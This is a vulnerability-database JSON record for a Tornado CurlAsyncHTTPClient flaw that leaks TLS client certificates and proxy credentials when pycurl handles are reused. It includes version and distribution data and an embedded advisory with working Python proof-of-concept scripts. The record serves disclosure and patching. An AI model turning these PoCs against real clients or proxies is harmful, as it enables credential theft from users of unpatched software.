{"id":"CVE-2026-91992","aliases":["AZL-103098","BELL-CVE-2026-91992","CLSA-2026-1783386118","CLSA-2026-1790675116","DEBIAN-CVE-2026-91992","EUVD-2026-78664","GHSA-753j-mpmx-qq6g","GHSA-78cv-mqj4-43f7","GHSA-8423-8fgw-73vq","GHSA-jqv5-7x9v-7j83","GHSA-pw6j-qg29-8w7f","GHSA-qppv-j76h-2rpx","GHSA-w235-7p84-xx57","OESA-2026-4034","OESA-2026-4035","OESA-2026-4036","OESA-2026-4037","ROOT-APP-PYPI-GHSA-pw6j-qg29-8w7f","UBUNTU-CVE-2026-91992","USN-8952-1"],"status":"published","title":"Tornado before 6.5.7 Credential Leak via Handle Reuse","description":"Tornado before 6.5.7 contains a credential leak vulnerability in CurlAsyncHTTPClient where pycurl handles are reused across requests without proper state clearing. Attackers can obtain sensitive credentials by issuing requests through the same client instance, allowing TLS certificates or proxy authentication to persist across unintended requests.","severity":{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00239,"percentile":0.15106,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-200","CWE-672"],"published":"2026-06-15T20:37:24Z","modified":"2026-11-05T05:36:30Z","fixes":[{"ecosystem":"PyPI","package":"tornado","fixed_in":["6.5.7"],"sources":["ghsa","osv"]},{"ecosystem":"Alpaquita:25","package":"py3-tornado","fixed_in":["6.5.10-r0"],"sources":["osv"]},{"ecosystem":"Alpaquita:stream","package":"py3-tornado","fixed_in":["6.5.10-r0"],"sources":["osv"]},{"ecosystem":"Root:PyPI","package":"tornado","fixed_in":["6.2+aikido.10","6.2+aikido.8","6.2+aikido.9","6.2+aikido.11","6.2+aikido.12"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:16.04:LTS","package":"python-tornado","fixed_in":["4.2.1-1ubuntu3.1+esm4"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:18.04:LTS","package":"python-tornado","fixed_in":["4.5.3-1ubuntu0.2+esm4"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:22.04:LTS","package":"python-tornado","fixed_in":["6.1.0-3ubuntu0.1~esm6"],"sources":["osv"]},{"ecosystem":"Ubuntu:24.04:LTS","package":"python-tornado","fixed_in":["6.4.0-1ubuntu0.6"],"sources":["osv"]},{"ecosystem":"Ubuntu:26.04:LTS","package":"python-tornado","fixed_in":["6.5.4-0.1ubuntu0.2"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"tornado","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"6.5.6"},{"fixed":"6.5.7"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"python-tornado","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"6.3.3-11"}]}]},{"source":"osv","ecosystem":"Alpaquita:25","package":"py3-tornado","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.5.1-r0"},{"fixed":"6.5.10-r0"}]}]},{"source":"osv","ecosystem":"Alpaquita:stream","package":"py3-tornado","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.3.3-r0"},{"fixed":"6.5.10-r0"}]}]},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"tornado","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.1"},{"fixed":"6.1.0.post4+tuxcare"}]}],"versions":["6.1","6.1.0.post1+tuxcare","6.1.0.post2+tuxcare","6.1.0.post3+tuxcare"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"tornado","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.1.1"},{"fixed":"5.1.1.post4+tuxcare"}]}],"versions":["5.1.1","5.1.1.post1+tuxcare","5.1.1.post2+tuxcare","5.1.1.post3+tuxcare"],"bundled":9},{"source":"osv","ecosystem":"Debian:12","package":"python-tornado","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.2.0-3","6.2.0-3+deb12u1","6.2.0-3+deb12u2","6.2.0-3+deb12u3","6.2.0-3+deb12u4","6.3.2-1","6.4.0-1","6.4.0-2","6.4.1-1","6.4.1-2","6.4.1-3","6.4.2-1","6.4.2-2","6.4.2-3","6.5.2-1","6.5.2-2","6.5.2-3","6.5.4-0.1","6.5.4-1","6.5.5-1","6.5.5-2","6.5.5-3","6.5.5-4","6.5.5-5"]},{"source":"osv","ecosystem":"Debian:13","package":"python-tornado","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.4.2-3","6.4.2-3+deb13u1","6.4.2-3+deb13u2","6.5.2-1","6.5.2-2","6.5.2-3","6.5.4-0.1","6.5.4-1","6.5.5-1","6.5.5-2","6.5.5-3","6.5.5-4","6.5.5-5"]},{"source":"osv","ecosystem":"Debian:14","package":"python-tornado","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.4.2-3","6.5.2-1","6.5.2-2","6.5.2-3","6.5.4-0.1","6.5.4-1","6.5.5-1","6.5.5-2","6.5.5-3","6.5.5-4","6.5.5-5"]},{"source":"osv","ecosystem":"PyPI","package":"tornado","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.5.7"}]}],"versions":["0.2","1.0","1.1","1.1.1","1.2","1.2.1","2.0","2.1","2.1.1","2.2","2.2.1","2.3","2.4","2.4.1","3.0","3.0.1","3.0.2","3.1","3.1.1","3.2","3.2.1","3.2.2","4.0","4.0.1","4.0.2","4.1","4.1b2","4.2","4.2.1","4.2b1","4.3","4.3b1","4.3b2","4.4","4.4.1","4.4.2","4.4.3","4.4b1","4.5","4.5.1","4.5.2","4.5.3","4.5b1","4.5b2","5.0","5.0.1","5.0.2","5.0a1","5.0b1","5.1","5.1.1","5.1b1","6.0","6.0.1","6.0.2","6.0.3","6.0.4","6.0a1","6.0b1","6.1","6.1b1","6.1b2","6.2","6.2b1","6.2b2","6.3","6.3.1","6.3.2","6.3.3","6.3b1","6.4","6.4.1","6.4.2","6.4b1","6.5","6.5.1","6.5.2","6.5.3","6.5.4","6.5.5","6.5.6","6.5b1"]},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP1","package":"python-tornado","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.5.10-1.oe2403sp1"}]}],"bundled":6},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP3","package":"python-tornado","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.5.10-1.oe2403sp3"}]}],"bundled":6},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP4","package":"python-tornado","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.5.10-1.oe2403sp4"}]}],"bundled":6},{"source":"osv","ecosystem":"openEuler:22.03-LTS-SP4","package":"python-tornado","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.5.10-1.oe2203sp4"}]}],"bundled":10},{"source":"osv","ecosystem":"Root:PyPI","package":"tornado","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.2+aikido.10"},{"fixed":"6.2+aikido.8"},{"fixed":"6.2+aikido.9"},{"fixed":"6.2+aikido.11"},{"fixed":"6.2+aikido.12"}]}]},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"python-tornado","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.2.1-1ubuntu3.1+esm4"}]}],"versions":["4.2.1-1ubuntu2","4.2.1-1ubuntu3","4.2.1-1ubuntu3.1","4.2.1-1ubuntu3.1+esm1","4.2.1-1ubuntu3.1+esm2","4.2.1-1ubuntu3.1+esm3"]},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"python-tornado","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.5.3-1ubuntu0.2+esm4"}]}],"versions":["4.5.1-2.1~build2","4.5.2-1","4.5.3-1","4.5.3-1ubuntu0.1","4.5.3-1ubuntu0.2","4.5.3-1ubuntu0.2+esm1","4.5.3-1ubuntu0.2+esm2","4.5.3-1ubuntu0.2+esm3"]},{"source":"osv","ecosystem":"Ubuntu:Pro:22.04:LTS","package":"python-tornado","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.1.0-3ubuntu0.1~esm6"}]}],"versions":["6.1.0-1build1","6.1.0-2","6.1.0-3","6.1.0-3build1","6.1.0-3ubuntu0.1~esm1","6.1.0-3ubuntu0.1~esm2","6.1.0-3ubuntu0.1~esm4","6.1.0-3ubuntu0.1~esm5"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"python-tornado","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.4.0-1ubuntu0.6"}]}],"versions":["6.3.2-1","6.4.0-0ubuntu1","6.4.0-1","6.4.0-1build1","6.4.0-1ubuntu0.1","6.4.0-1ubuntu0.2","6.4.0-1ubuntu0.4","6.4.0-1ubuntu0.5"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"python-tornado","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.5.4-0.1ubuntu0.2"}]}],"versions":["6.4.2-3","6.5.2-3","6.5.4-0.1","6.5.4-0.1ubuntu0.1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"python-tornado","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.2.1-1ubuntu3.1+esm4"}]}],"versions":["4.2.1-1ubuntu2","4.2.1-1ubuntu3","4.2.1-1ubuntu3.1","4.2.1-1ubuntu3.1+esm1","4.2.1-1ubuntu3.1+esm2","4.2.1-1ubuntu3.1+esm3"],"bundled":6},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"python-tornado","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.5.3-1ubuntu0.2+esm4"}]}],"versions":["4.5.1-2.1~build2","4.5.2-1","4.5.3-1","4.5.3-1ubuntu0.1","4.5.3-1ubuntu0.2","4.5.3-1ubuntu0.2+esm1","4.5.3-1ubuntu0.2+esm2","4.5.3-1ubuntu0.2+esm3"],"bundled":6},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"python-tornado","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.0.3+really5.1.1-3ubuntu0.1~esm7"}]}],"versions":["5.1.1-4ubuntu1","5.1.1-4ubuntu5","6.0.3+really5.1.1-2","6.0.3+really5.1.1-2build1","6.0.3+really5.1.1-2build2","6.0.3+really5.1.1-3","6.0.3+really5.1.1-3ubuntu0.1~esm1","6.0.3+really5.1.1-3ubuntu0.1~esm3","6.0.3+really5.1.1-3ubuntu0.1~esm5"],"bundled":6},{"source":"osv","ecosystem":"Ubuntu:Pro:22.04:LTS","package":"python-tornado","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.1.0-3ubuntu0.1~esm6"}]}],"versions":["6.1.0-1build1","6.1.0-2","6.1.0-3","6.1.0-3build1","6.1.0-3ubuntu0.1~esm1","6.1.0-3ubuntu0.1~esm2","6.1.0-3ubuntu0.1~esm4","6.1.0-3ubuntu0.1~esm5"],"bundled":6},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"python-tornado","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.4.0-1ubuntu0.6"}]}],"versions":["6.3.2-1","6.4.0-0ubuntu1","6.4.0-1","6.4.0-1build1","6.4.0-1ubuntu0.1","6.4.0-1ubuntu0.2","6.4.0-1ubuntu0.4","6.4.0-1ubuntu0.5"],"bundled":6},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"python-tornado","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.5.5-5ubuntu1.1"}]}],"versions":["6.5.4-0.1","6.5.5-2","6.5.5-4","6.5.5-5"],"bundled":6},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"python-tornado","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.5.4-0.1ubuntu0.2"}]}],"versions":["6.4.2-3","6.5.2-3","6.5.4-0.1","6.5.4-0.1ubuntu0.1"],"bundled":6}],"products":[{"vendor":"tornadoweb","product":"tornado"}],"references":[{"url":"https://github.com/tornadoweb/tornado/security/advisories/GHSA-pw6j-qg29-8w7f","tags":["vendor-advisory","exploit","advisory","web","report"]},{"url":"https://www.vulncheck.com/advisories/tornado-before-6.5.7-credential-leak-via-handle-reuse","tags":["third-party-advisory","advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91992","tags":["web","advisory"]},{"url":"https://github.com/advisories/GHSA-jqv5-7x9v-7j83"},{"url":"https://github.com/advisories/GHSA-pw6j-qg29-8w7f"},{"url":"https://docs.bell-sw.com/security/cves/CVE-2026-91992","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/91xxx/CVE-2026-91992.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-91992","tags":["advisory"]},{"url":"https://github.com/tornadoweb/tornado","tags":["package"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-4034","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-54397","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-14029","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-58384","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91990","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91991","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-4035","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-4036","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-4037","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-49853","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-49854","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-49855","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-82397","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2026-91992","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-91992","tags":["report"]},{"url":"https://ubuntu.com/security/notices/USN-8952-1","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2023-54397","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2024-14029","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2026-91990","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2026-103262","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2026-103263","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-91992","title":"Tornado before 6.5.7 Credential Leak via Handle Reuse","description":"Tornado before 6.5.7 contains a credential leak vulnerability in CurlAsyncHTTPClient where pycurl handles are reused across requests without proper state clearing. Attackers can obtain sensitive credentials by issuing requests through the same client instance, allowing TLS certificates or proxy authentication to persist across unintended requests.","status":"published","published":"2026-09-15T15:18:33.089Z","modified":"2026-09-17T15:16:30.401Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna"},{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T14:19:52.773089Z"}],"euvd":[{"id":"EUVD-2026-78664","description":"Tornado before 6.5.7 contains a credential leak vulnerability in CurlAsyncHTTPClient where pycurl handles are reused across requests without proper state clearing. Attackers can obtain sensitive credentials by issuing requests through the same client instance, allowing TLS certificates or proxy authentication to persist across unintended requests.","status":"published","published":"2026-09-15T15:18:33Z","modified":"2026-09-17T15:16:30Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T17:28:11.615612Z"}],"ghsa":[{"id":"GHSA-jqv5-7x9v-7j83","title":"Tornado before 6.5.7 contains a credential leak vulnerability in CurlAsyncHTTPClient where pycurl...","description":"Tornado before 6.5.7 contains a credential leak vulnerability in CurlAsyncHTTPClient where pycurl handles are reused across requests without proper state clearing. Attackers can obtain sensitive credentials by issuing requests through the same client instance, allowing TLS certificates or proxy authentication to persist across unintended requests.","status":"published","published":"2026-09-15T18:32:32Z","modified":"2026-09-15T18:32:43Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"},{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T15:11:54.818367Z"},{"id":"GHSA-pw6j-qg29-8w7f","title":"Tornado: CurlAsyncHTTPClient leaks per-request credentials on handle reuse","description":"# CurlAsyncHTTPClient leaks per-request credentials on handle reuse\n\n## Summary\n\n`CurlAsyncHTTPClient` pools and reuses `pycurl` handles across requests but does\nnot reset them between requests, and several per-request options are applied with\nno clearing branch. As a result, sensitive state set by one request persists onto\na later request on the same client that does not set it. Two credential vectors\nare demonstrated below — a client TLS certificate (`SSLCERT`/`SSLKEY`) and proxy\nbasic-auth credentials (`PROXYUSERPWD`) — both leaking to a different,\nunintended host. This affects all released versions through 6.5.6.\n\n## Details\n\nIn `tornado/curl_httpclient.py`, handles are created once and returned to a free\nlist for reuse (`_process_queue` pops the handle at line 200, `_finish`\nre-appends it at line 245), and `_curl_setup_request` is never preceded by\n`curl.reset()`. The function clears *some* carried-over state on the reused handle\n— `unsetopt(PROXYUSERPWD)` in the no-proxy branch (line 394), `unsetopt(USERPWD)`\nwhen no auth is set (line 495), and the HTTP-method flag reset (lines 428-432) —\nbut other options have no equivalent clearing path and persist until a later\nrequest sets them again.\n\n**Vector A — client TLS certificate (`SSLCERT`/`SSLKEY`).** Set-only, no clearing\nbranch:\n\n```python\n# tornado/curl_httpclient.py (v6.5.6), lines 498-502\nif request.client_cert is not None:\n    curl.setopt(pycurl.SSLCERT, request.client_cert)\n\nif request.client_key is not None:\n    curl.setopt(pycurl.SSLKEY, request.client_key)\n```\n\nA request that sets `client_cert` leaves the certificate on the handle; a later\nrequest without `client_cert` presents it during its TLS handshake.\n\n**Vector B — proxy credentials (`PROXYUSERPWD`).** `PROXYUSERPWD` is set only\ninside the credentials branch and unset only in the no-proxy `else` branch:\n\n```python\n# tornado/curl_httpclient.py (v6.5.6), lines 371-394\nif request.proxy_host and request.proxy_port:\n    curl.setopt(pycurl.PROXY, request.proxy_host)\n    curl.setopt(pycurl.PROXYPORT, request.proxy_port)\n    if request.proxy_username:                 # only place PROXYUSERPWD is set\n        ...\n        curl.setopt(pycurl.PROXYUSERPWD, credentials)\n    ...\nelse:\n    try:\n        curl.unsetopt(pycurl.PROXY)\n    except TypeError:\n        curl.setopt(pycurl.PROXY, \"\")\n    curl.unsetopt(pycurl.PROXYUSERPWD)         # only place it is unset\n```\n\nA request that sets a *new* `proxy_host` without `proxy_username` updates\n`PROXY`/`PROXYPORT` but never reaches the `else`, so the previous request's\ncredentials persist and are sent to the new proxy.\n\nThe same class also affects `INTERFACE` (lines 365-366: set only when\n`request.network_interface` is truthy, with no clearing branch), which is a\nlower-severity instance — a later request can be bound to a network interface it\ndid not request. A single fix addresses all three (see Mitigation).\n\n## PoC\n\nBoth reproduce against the pinned release using public API only\n(`CurlAsyncHTTPClient`, `HTTPRequest`, and the documented per-request arguments).\n\n### Vector A — client TLS certificate\n\nThe two servers listen on different ports, so request B opens a fresh TCP+TLS\nconnection; the certificate can only reach server 2 via the persisted handle\noption, not connection or session reuse.\n\n```\npython3 -m venv venv\n./venv/bin/pip install \"tornado==6.5.6\" pycurl cryptography\n./venv/bin/python poc_client_cert.py\n```\n\n```python\nimport asyncio\nimport datetime\nimport ipaddress\nimport os\nimport socket\nimport ssl\nimport sys\nimport tempfile\nimport threading\n\nfrom cryptography import x509\nfrom cryptography.x509.oid import NameOID, ExtendedKeyUsageOID\nfrom cryptography.hazmat.primitives import hashes, serialization\nfrom cryptography.hazmat.primitives.asymmetric import rsa\n\nfrom tornado.httpclient import HTTPRequest\nfrom tornado.curl_httpclient import CurlAsyncHTTPClient\n\n\ndef _key():\n    return rsa.generate_private_key(public_exponent=65537, key_size=2048)\n\n\ndef _ca():\n    key = _key()\n    name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"PoC-CA\")])\n    now = datetime.datetime.now(datetime.timezone.utc)\n    cert = (\n        x509.CertificateBuilder()\n        .subject_name(name).issuer_name(name)\n        .public_key(key.public_key())\n        .serial_number(x509.random_serial_number())\n        .not_valid_before(now - datetime.timedelta(minutes=1))\n        .not_valid_after(now + datetime.timedelta(days=1))\n        .add_extension(x509.BasicConstraints(ca=True, path_length=None), critical=True)\n        .sign(key, hashes.SHA256())\n    )\n    return cert, key\n\n\ndef _leaf(cn, ca_cert, ca_key, ips=None, client=False):\n    key = _key()\n    name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, cn)])\n    now = datetime.datetime.now(datetime.timezone.utc)\n    b = (\n        x509.CertificateBuilder()\n        .subject_name(name).issuer_name(ca_cert.subject)\n        .public_key(key.public_key())\n        .serial_number(x509.random_serial_number())\n        .not_valid_before(now - datetime.timedelta(minutes=1))\n        .not_valid_after(now + datetime.timedelta(days=1))\n        .add_extension(x509.BasicConstraints(ca=False, path_length=None), critical=True)\n    )\n    if ips:\n        b = b.add_extension(\n            x509.SubjectAlternativeName([x509.IPAddress(ipaddress.ip_address(i)) for i in ips]),\n            critical=False,\n        )\n    if client:\n        b = b.add_extension(\n            x509.ExtendedKeyUsage([ExtendedKeyUsageOID.CLIENT_AUTH]), critical=False\n        )\n    return b.sign(ca_key, hashes.SHA256()), key\n\n\ndef _pem(path, cert, key=None):\n    with open(path, \"wb\") as fh:\n        fh.write(cert.public_bytes(serialization.Encoding.PEM))\n        if key is not None:\n            fh.write(key.private_bytes(\n                serialization.Encoding.PEM,\n                serialization.PrivateFormat.TraditionalOpenSSL,\n                serialization.NoEncryption(),\n            ))\n\n\nclass TLSServer:\n    def __init__(self, srv_pem, ca_pem, require):\n        self.captures = []\n        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        self.sock.bind((\"127.0.0.1\", 0))\n        self.sock.listen(4)\n        self.port = self.sock.getsockname()[1]\n        self.ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)\n        self.ctx.load_cert_chain(srv_pem)\n        self.ctx.load_verify_locations(ca_pem)\n        self.ctx.verify_mode = ssl.CERT_REQUIRED if require else ssl.CERT_OPTIONAL\n        threading.Thread(target=self._serve, daemon=True).start()\n\n    def _serve(self):\n        while True:\n            try:\n                conn, _ = self.sock.accept()\n            except OSError:\n                return\n            try:\n                s = self.ctx.wrap_socket(conn, server_side=True)\n                self.captures.append(s.getpeercert() or None)\n                try:\n                    s.recv(4096)\n                    s.sendall(b\"HTTP/1.1 200 OK\\r\\nContent-Length: 2\\r\\nConnection: close\\r\\n\\r\\nok\")\n                except Exception:\n                    pass\n                s.close()\n            except Exception:\n                self.captures.append(\"handshake-failed\")\n                conn.close()\n\n    def stop(self):\n        try:\n            self.sock.close()\n        except Exception:\n            pass\n\n\ndef _cn(peer):\n    if not peer or not isinstance(peer, dict):\n        return None\n    for rdn in peer.get(\"subject\", ()):\n        for k, v in rdn:\n            if k == \"commonName\":\n                return v\n    return None\n\n\nasync def main():\n    with tempfile.TemporaryDirectory() as tmp:\n        ca_cert, ca_key = _ca()\n        s1_cert, s1_key = _leaf(\"server1.local\", ca_cert, ca_key, ips=[\"127.0.0.1\"])\n        s2_cert, s2_key = _leaf(\"server2.local\", ca_cert, ca_key, ips=[\"127.0.0.1\"])\n        cli_cert, cli_key = _leaf(\"trusted-client\", ca_cert, ca_key, client=True)\n\n        ca_pem = os.path.join(tmp, \"ca.pem\")\n        s1_pem = os.path.join(tmp, \"s1.pem\")\n        s2_pem = os.path.join(tmp, \"s2.pem\")\n        cert_pem = os.path.join(tmp, \"client.crt\")\n        key_pem = os.path.join(tmp, \"client.key\")\n        _pem(ca_pem, ca_cert)\n        _pem(s1_pem, s1_cert, s1_key)\n        _pem(s2_pem, s2_cert, s2_key)\n        _pem(cert_pem, cli_cert)\n        with open(key_pem, \"wb\") as fh:\n            fh.write(cli_key.private_bytes(\n                serialization.Encoding.PEM,\n                serialization.PrivateFormat.TraditionalOpenSSL,\n                serialization.NoEncryption(),\n            ))\n\n        s1 = TLSServer(s1_pem, ca_pem, require=True)\n        s2 = TLSServer(s2_pem, ca_pem, require=False)\n        try:\n            clean = CurlAsyncHTTPClient(max_clients=1, force_instance=True)\n            await clean.fetch(HTTPRequest(\n                f\"https://127.0.0.1:{s2.port}/baseline\",\n                ca_certs=ca_pem, request_timeout=5), raise_error=False)\n            clean.close()\n\n            client = CurlAsyncHTTPClient(max_clients=1, force_instance=True)\n            await client.fetch(HTTPRequest(\n                f\"https://127.0.0.1:{s1.port}/internal-mtls\",\n                client_cert=cert_pem, client_key=key_pem,\n                ca_certs=ca_pem, request_timeout=5), raise_error=False)\n            await client.fetch(HTTPRequest(\n                f\"https://127.0.0.1:{s2.port}/other-host\",\n                ca_certs=ca_pem, request_timeout=5), raise_error=False)\n            await asyncio.sleep(0.2)\n            client.close()\n        finally:\n            s1.stop()\n            s2.stop()\n\n        baseline = _cn(s2.captures[0]) if s2.captures else None\n        leaked = _cn(s2.captures[1]) if len(s2.captures) \u003e 1 else None\n\n        print(f\"{'scenario':\u003c48}{'cert presented to server 2'}\")\n        print(f\"{'-' * 48}{'-' * 28}\")\n        print(f\"{'baseline: clean client, no client_cert':\u003c48}{baseline!r}\")\n        print(f\"{'exploit: reused handle (A had client_cert)':\u003c48}{leaked!r}\")\n        print()\n        print(f\"(sanity) server 1 (mTLS required) saw: {_cn(s1.captures[0]) if s1.captures else None!r}\")\n        print()\n        if baseline is None and leaked == \"trusted-client\":\n            print(\"VERDICT: VULNERABLE — the client certificate from request A was \"\n                  \"presented to server 2 on request B, which specified none.\")\n            return 0\n        print(f\"VERDICT: not reproduced (baseline={baseline!r} leaked={leaked!r})\")\n        return 2\n\n\nif __name__ == \"__main__\":\n    sys.exit(asyncio.run(main()))\n```\n\nOutput (`pip show tornado` → 6.5.6, installed in the venv):\n\n```\nscenario                                        cert presented to server 2\n----------------------------------------------------------------------------\nbaseline: clean client, no client_cert          None\nexploit: reused handle (A had client_cert)      'trusted-client'\n\n(sanity) server 1 (mTLS required) saw: 'trusted-client'\n\nVERDICT: VULNERABLE — the client certificate from request A was presented to\nserver 2 on request B, which specified none.\n```\n\n### Vector B — proxy credentials\n\nEach proxy is a separate listener capturing the raw request bytes.\n\n```\n./venv/bin/python poc_proxy_creds.py\n```\n\n```python\nimport asyncio\nimport base64\nimport socket\nimport sys\nimport threading\n\nfrom tornado.httpclient import HTTPRequest\nfrom tornado.curl_httpclient import CurlAsyncHTTPClient\n\n\nclass CapturingProxy:\n    def __init__(self):\n        self.captures = []\n        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        self.sock.bind((\"127.0.0.1\", 0))\n        self.sock.listen(4)\n        self.port = self.sock.getsockname()[1]\n        threading.Thread(target=self._serve, daemon=True).start()\n\n    def _serve(self):\n        while True:\n            try:\n                conn, _ = self.sock.accept()\n            except OSError:\n                return\n            try:\n                data = b\"\"\n                while b\"\\r\\n\\r\\n\" not in data and len(data) \u003c 8192:\n                    chunk = conn.recv(2048)\n                    if not chunk:\n                        break\n                    data += chunk\n                self.captures.append(data)\n                conn.sendall(b\"HTTP/1.1 502 Bad Gateway\\r\\nContent-Length: 0\\r\\n\"\n                             b\"Connection: close\\r\\n\\r\\n\")\n            except Exception:\n                pass\n            finally:\n                conn.close()\n\n    def stop(self):\n        try:\n            self.sock.close()\n        except Exception:\n            pass\n\n\ndef proxy_authz(raw):\n    head = raw.split(b\"\\r\\n\\r\\n\", 1)[0].decode(\"latin1\", \"replace\")\n    for line in head.split(\"\\r\\n\"):\n        if line.lower().startswith(\"proxy-authorization:\"):\n            return line\n    return None\n\n\nasync def main():\n    proxy_a = CapturingProxy()\n    proxy_b = CapturingProxy()\n    try:\n        client = CurlAsyncHTTPClient(max_clients=1, force_instance=True)\n        await client.fetch(HTTPRequest(\n            \"http://target.example/a\",\n            